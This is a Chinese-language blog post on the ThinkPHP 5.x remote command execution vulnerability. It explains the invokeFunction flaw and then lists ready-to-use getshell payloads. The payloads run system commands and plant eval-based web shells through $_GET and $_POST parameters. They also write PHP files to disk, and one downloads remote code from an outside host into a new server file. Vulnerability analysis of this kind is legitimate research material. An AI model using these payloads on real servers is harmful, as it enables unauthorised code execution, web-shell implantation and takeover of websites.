本文将讲述最近的ThinkPHP5远程命令执行漏洞和一些getshell技巧,还有一些POC的总结。

该漏洞在10号晚上就已经大量公布了,我这个文章发的比较晚,没有及时同步到博客上。

复现环境

ThinkPHP 5.x(5.0.23->5.1.31) 远程命令执行漏洞Getshell

漏洞原理分析

在没有使用ThinkPHP的Pathinfo模式下访问:http://localhost/public/index.php?s=index/\\think/Container/invokeFunction

没有使用pathinfo模式的时候,就会将think作为一个控制器,Container作为一个函数去执行

1.jpg

当然,think是一个命名空间。调用Container类当然是需要这样写了/\think/Container

来看看ThinkPHP是怎么加载控制器的,这个函数在App类中

2.jpg

再跟踪到Container这个类中,在ThinkPHP运行的时候就会被加载。实例化控制器就会实例化这个类,然后再去调用invokefunction这个函数。

3.jpg

invokefunction函数中有两个参数,第一个是函数名,第二个是 第一个参数中执行函数的参数。

如果我们传入function=call_user_func_array&vars[0]=var_dump&vars[1][]=123

call_user_func_array 调用回调函数,并把一个数组参数作为回调函数的参数.

此时就相当于执行了var_dump(123)

就可以成功执行了var_dump这个函数,并输出了string(3) "123"

漏洞验证

1.jpg

Payload:?s=index/think\container/invokefunction&function=call_user_func_array&vars[0]=var_dump&vars[1][]=123

可以看到构造的Payload成功执行了var_dump函数,造成了代码执行漏洞。

2.jpg

将var_dump换成phpinfo,第二个参数有值就可以,成功执行了phpinfo这个函数。

能够代码执行,是否能够命令执行?

3.jpg

将数组第一个参数设置为system,第二个参数设置为ipconfig也成功命令执行了。

目测ThinkPHP5.1以下版本可以直接getshell,由于本环境使用的最新版的ThinkPHP5.1版本,可能写入不了文件。

Getshell的Payload:
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=@eval($_GET['fuck']);&fuck=phpinfo();

?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=@eval($_GET['fuck']);&fuck=eval($_POST[ian]);

?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20%27<?php%20phpinfo();?>%27%20>%20info.php

?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=info.php&vars[1][]=%3C?php%20phpinfo();?%3E

?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=print_r(file_put_contents(%27xx.php%27,file_get_contents(%27http://www.wileysec.com/x.txt%27)))